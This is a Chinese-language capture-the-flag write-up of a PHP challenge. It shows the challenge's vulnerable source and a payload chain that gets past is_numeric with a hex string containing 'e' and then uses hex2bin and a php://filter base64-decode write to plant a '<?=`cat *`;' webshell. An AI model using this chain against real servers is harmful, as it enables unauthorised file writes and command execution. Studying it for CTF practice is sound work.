<?php highlight_file(__FILE__); $v1=$_POST['V1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v4=is_numeric($v2)and is_numeric($v3); if($v4){ $s=substr($v2,2);#获取字符串从第二个字符开始的子串 $str=call_user_func($v1,$s);#执行函数 $v1作为函数名 $s作为参数 echo $str;#输出变量 file_put_contents($v3,$str);#将数据写文件 } else{ die('hacker'); }
首先就是v2必须是全数字的 v3任意
获取v2的第二个字符开始的字串作为$str的值 也就是为了获得正确的payload最前方要填充两个无用字符 从而获得除了前两个无用字符后的有用字符
call_user_func($v1,$s) 可以理解为执行函数 $v1($s)
也就是说$v1($s) 输出的结果是我们要的payload
知识点
1 php5(php7.1一下)下is_numeric可识别16进制(如果0x开头 就会识别为十六进制字符串 从而绕过),如0x2e,然后调用hex2bin转成字符串写入任意木马
十六进制字符串转换二进制字符串也就是相当于
但是这道题环境用的是php7.0以上的环境所以就不能用0x开头从而绕过is_numeric函数 导致大多
为了能绕过is_numeric函数 目前构造一个很神奇的字符串
5044383959474e6864434171594473
十六进制转换字符串
PD89YGNhdCAqYDs
base64解码
<?=`cat *`;
因为开头不能使用0x所以 目前只有这一个字符串能满足要求 里面的e会被函数当成科学计数法从而绕过死亡函数
但是十六进制转换字符串需要用一个函数 base64解码又要用一个函数 但是题目只有一个函数位置
于是写文件的时候可以通过过滤器来对写的内容进行过滤php://filter/write=convert.base64-
decode/resource=2.php(该过滤器可以在文件操作函数中使用,起到过滤作用)变成了file_put_contents(php://filter/write=convert.base64-decode/resource=2.php,$str);
简单解释 将数据$str利用过滤器进行base64解码写入文件2.php中
这样只需要十六进制转换字符串的函数就可以了
访问2.php文件
2 <?=`cat *`; cat * 是一个shell命令如果一个php文件中存在该内容 它会执行
cat *
命令并将结果输出到页面上3 等号的优先级大于and